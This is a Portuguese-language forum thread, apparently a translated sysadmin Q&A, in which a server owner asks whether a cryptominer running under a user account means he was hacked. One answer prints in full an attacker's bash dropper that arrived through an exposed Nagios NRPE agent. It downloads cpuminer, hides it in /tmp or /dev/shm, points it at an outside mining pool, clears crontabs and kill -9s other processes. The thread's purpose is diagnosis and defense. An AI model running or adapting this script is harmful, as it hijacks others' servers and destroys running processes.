Eu fui hackeado?

7

Eu rodei um servidor dedicado, onde notei um alto uso de CPU recentemente e verifiquei os processos. Parece que alguém (conta mick) estava minerando no meu servidor. Como isso é possível? O processo está abaixo. Eu suspendi a conta. O que mais eu precisaria fazer?

25516 mick  30  10  778m 6728 1132 S 740.5  0.2   8463:59 /tmp/sh64 -o stratum+tcp://multi1.wemineall.com:80 -u weedee.1 -p x --algo scrypt -B
    
por Booboo 12.05.2014 / 12:54

3 respostas

11

Se você estiver executando um servidor web que permite scripts do lado do servidor (php, ruby, etc), isso é muito fácil de fazer.

Tudo o que o usuário precisa fazer é gerar um script que baixe um arquivo para /tmp/sh64 e, em seguida, execute-o. Geralmente, os scripts da Web precisam ser capazes de executar programas externos e, portanto, esse tipo de atividade é difícil de evitar.

Se a conta mick for a mesma conta usada para executar os scripts da Web do usuário, eu diria que não, você não está hackeado. Apenas um usuário abusando da conta deles.

Se você quiser evitar esse comportamento, há poucas maneiras de evitá-lo. Você pode proibir a chamada de programas externos. Ou você pode fazer algo como matar programas de longa duração (qualquer coisa que esteja em execução por mais de 60 segundos, por exemplo). Sem saber mais detalhes sobre sua configuração, o melhor curso de ação é difícil de determinar.

    
por 12.05.2014 / 14:53
2

Eu tive um problema semelhante. Eles exploraram uma versão desatualizada do agente NRPE do Nagios para executar um wget de um script que instalou e configurou o minerador de bitcoin do Sourceforge (o daemon NRPE tinha dont_blame_nrpe habilitado). Não encontrei nada que indicasse que a tentativa na minha máquina foi persistente.

Este é o script que foi usado para a instalação e configuração do minerador Bitcoin:

#!/bin/bash

miner_path="/tmp/tester"
miner_path2="/tmp/var/tester"
miner_path3="/dev/shm/tester"
stratum="stratum+tcp://multi1.wemineall.com:80"
worker="weedee.1"
myproc='ps x|grep "$stratum -u $worker"|grep -v grep'
name="work.sh"
if [ -z "$myproc" ]
then    
    system='uname -a'
    i686='echo $system|grep i686'
    if ! [ -z "$i686" ]
      then

url="http://downloads.sourceforge.net/project/cpuminer/pooler-cpuminer-2.3.2-linux-x86.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcpuminer%2Ffiles%2F&ts=1390664640&use_mirror=netcologne"
      else

url="http://downloads.sourceforge.net/project/cpuminer/pooler-cpuminer-2.3.2-linux-x86_64.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcpuminer%2Ffiles%2F&ts=1390664665&use_mirror=netcologne"
    fi

    dll='wget -q -O $miner_path $url;tar zxvf $miner_path -C /var/tmp/;mv /var/tmp/minerd $miner_path;chmod +x $miner_path'
    spwn='$miner_path -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &'
    myproc='ps x|grep "$stratum -u $worker"|grep -v grep'
    #Failed in /var/tmp/ trying in /dev/shm
    if [ -z "$myproc" ]
    then
        #dll='wget $url -O $miner_path2;chmod +x $miner_path2'
        dll='wget -q -O $miner_path2 $url;tar zxvf $miner_path2 -C /tmp/;mv /tmp/minerd $miner_path2;chmod +x $miner_path2'
        spwn='$miner_path2 -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &'      
    fi
    myproc='ps x|grep "$stratum -u $worker"|grep -v grep'
    #Failed in /tmp/ trying in /tmp
    if [ -z "$myproc" ]
    then        
        dll='wget -q -O $miner_path3 $url;tar zxvf $miner_path3 -C /dev/shm/;mv /dev/shm/minerd $miner_path3;chmod +x $miner_path3'
        spwn='$miner_path3 -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &'      
    fi  

myproc='ps x|grep "$stratum -u $worker"|grep -v grep'
  crontab -r
 fi  
 crontab -r
rm -rf /var/tmp/*.sh
kill -9 'ps x | grep -v nagios | grep -v nrpe | grep -v PID | grep -v $name | grep -v tester | grep -v grep | awk '{print $1}'

Esse script era totalmente executado como usuário do Nagios, portanto, não precisava de acesso root.

    
por 12.05.2014 / 15:04
2

Seu sistema definitivamente foi comprometido ou, na pior das hipóteses, hackeado. Há outras histórias descrevendo um mineiro semelhante sendo instalado.

Eu tomaria a posição de que seu sistema foi comprometido e obtém algo crítico dele para começar, para que você o faça backup se ainda não estiver sendo feito.

Análise

Se você está curioso para saber como eles chegaram, você precisa obter uma lista completa dos serviços (web, mysql, etc.) que você instalou e ver se existem explorações ativas que permitiriam a alguém ganhar privilégios elevados.

Gostaria de começar com quaisquer recursos da Web que sejam aplicativos baseados na web. Normalmente, esses aplicativos podem ser sobrecarregados por buffer e acessar a modificação da pilha do servidor da Web para que aplicativos adicionais possam ser instalados.

É o caso que esses tipos de comprometimentos podem ser incidentes isolados, então simplesmente remover o software ofensivo e o malware pode ser suficiente para erradicá-lo sem ter que suportar o gasto de tempo de fazer uma recuperação / configuração completa do sistema .

Se este sistema fosse construído usando uma imagem baseada em VPS, eu trabalharia com o provedor, já que o patch seria o melhor para todos os seus clientes.

Além de comprometer a pilha da web

Tudo na caixa tem que ser examinado e é essencialmente indigno de confiança, mas eu levaria um pouco de tempo para ver se você não consegue descobrir de onde os invasores estão logando, se é que estão. Eles possivelmente estão fazendo login usando contas SSH que foram adicionadas ao sistema após comprometê-lo.

Isso pode ser uma tarefa árdua, levando muitos dias para fazer análises, especialmente se você não puder confiar em nenhuma das ferramentas da caixa para ajudar nesse esforço. Eu encorajaria qualquer um a aproveitar esse tempo para entender como o sistema foi comprometido, para que você possa reduzir o risco de que isso aconteça novamente no futuro, pelo menos através desse vetor em particular.

Se esse não for um tipo de problema de produção, essa é uma boa oportunidade de aprendizado para obter informações valiosas sobre como os sistemas podem ser comprometidos e o acesso pode ser "alavancado" por invasores.

Forro prateado?

Como o sistema está sendo usado para fins de mineração, é provável que eles usaram um conjunto de ferramentas de script automatizado, já que atacar sistemas suficientes para configurar mineiros zumbis parece que levaria muito tempo. Quando ferramentas como essas são usadas, elas geralmente são de má qualidade em sua construção, simplesmente procurando apenas fazer o mínimo para ganhar uma posição e depois entregar sua carga útil (o software de mineração), então você pode ter sorte e obter algumas informações adicionais em como eles conseguiram entrar.

    
por 12.05.2014 / 14:51

Tags